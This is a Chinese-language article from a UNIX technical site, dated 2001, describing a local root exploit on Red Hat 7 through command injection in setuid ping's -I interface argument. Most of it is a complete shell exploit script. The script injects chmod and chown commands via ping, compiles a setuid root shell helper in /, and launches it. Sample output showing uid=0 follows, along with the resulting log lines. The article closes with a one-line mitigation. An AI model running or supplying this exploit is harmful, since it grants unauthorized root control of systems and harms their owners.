[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 系統 > 正文
redhat7本地利用ping拿root漏洞詳析
本文出自: http://e4gle.org 作者: 大鷹 (2001-07-04 22:08:00)
首先聲明,本人及本人所在公司蓋不對利用此漏洞所造成的損失負責。攻擊代碼不長,可以用shell或
perl來編寫,推薦用shell寫。

原理:
也許是redhat7的重大漏洞吧,他的ping程序的-I參數指定interface時通過modprobe和insmod執行任意代
碼,大家都知道ping程序的權位是這樣的:
[Hello!sune4gle]$ ls -l /bin/ping
-rwsr-xr-x    1 root     root        20604 Aug  8  2000 /bin/ping
ping程序調用了raw_socket的所有setuid位,呵呵,我們可以通過用ping的-I參數來ping一個不存在的ip
,當然ip前面的參數是關鍵,也就是我們的執行命令,s權位令我們以普通權限的uid來運行ping時的euid
為0,所以實際上我們在運行ping的一瞬間是以超級擁護的權限在執行命令的。這樣如果我們運行如下的
命令的話:
[Hello!sune4gle]$ping -I ';chmod o+w .' 195.117.3.59 &>/dev/null
就是把當前目錄對其他用戶可寫了,呵呵,當然我們可以利用sleep語句來使該進程等待,利用等待的時
間我們可以寫一個c程序,讓他編譯並且運行:
cat >/x.c <<_eof_
main() {
  setuid(0); seteuid(0);
  system("chmod 755 /;rm -f /x; rm -f /x.c");
  execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x
到這裡大家應該都明白了吧?呵呵在/下創建x.c文件,並且編譯,使它也擁有s權位,呵呵就使一個
setuid的rootshell啦,以下是寫好的攻擊代碼:
#!/bin/sh
echo
echo "RedHat 7.0  exploit"
echo "(c) 2000 suneagle "
echo
echo "Enjoy hacking! :)"
echo

PING=/bin/ping
test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then
  echo "Sorry, no setuid ping."
  exit 0
fi

echo "Phase 1: making / world-writable..."

$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null

sleep 1

echo "Phase 2: compiling helper program in /..."

cat >/x.c <<_eof_
main() {
  setuid(0); seteuid(0);
  system("chmod 755 /;rm -f /x; rm -f /x.c");
  execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x

echo "Phase 3: chown+chmod on our helper program..."

$PING -I ';chown 0 x' 202.102.3.1 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 202.101.23.1 &>/dev/null
sleep 1

if [ ! -u /x ]; then
  echo "Apparently, this is not exploitable on this system :("
  exit 1
fi

echo "Ye! Entering rootshell..."

/x

echo "Thank you."

哈哈,好,我把這個shell程序在redhat7下的運行測試結果貼出來:
首先我得有個普通帳戶,嘿嘿
[Hello!sune4gle]$ ./getroot.sh

RedHat 7.0  exploit
(c) 2000 suneagle 

Enjoy hacking! :)

Phase 1: making / world-writable...
Phase 2: compiling helper program in /...
Phase 3: chown+chmod on our helper program...
Ye! Entering rootshell...
[Hello!root]# id
uid=0(root) gid=500(sune4gle) groups=500(sune4gle)
[Hello!root]#
攻擊的log:
Feb 24 11:16:27 sune4gle modprobe: modprobe: insmod ;chmod o+w . failed
Feb 24 11:16:30 sune4gle modprobe: modprobe: insmod ;chown 0 x failed
Feb 24 11:16:31 sune4gle modprobe: modprobe: insmod ;chmod +s x failed
解決方法:
去掉或限制ping程序的setuid位
[Hello!sune4gle]# chmod 655 /bin/ping


(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
 

★  樊強制作 歡迎分享  ★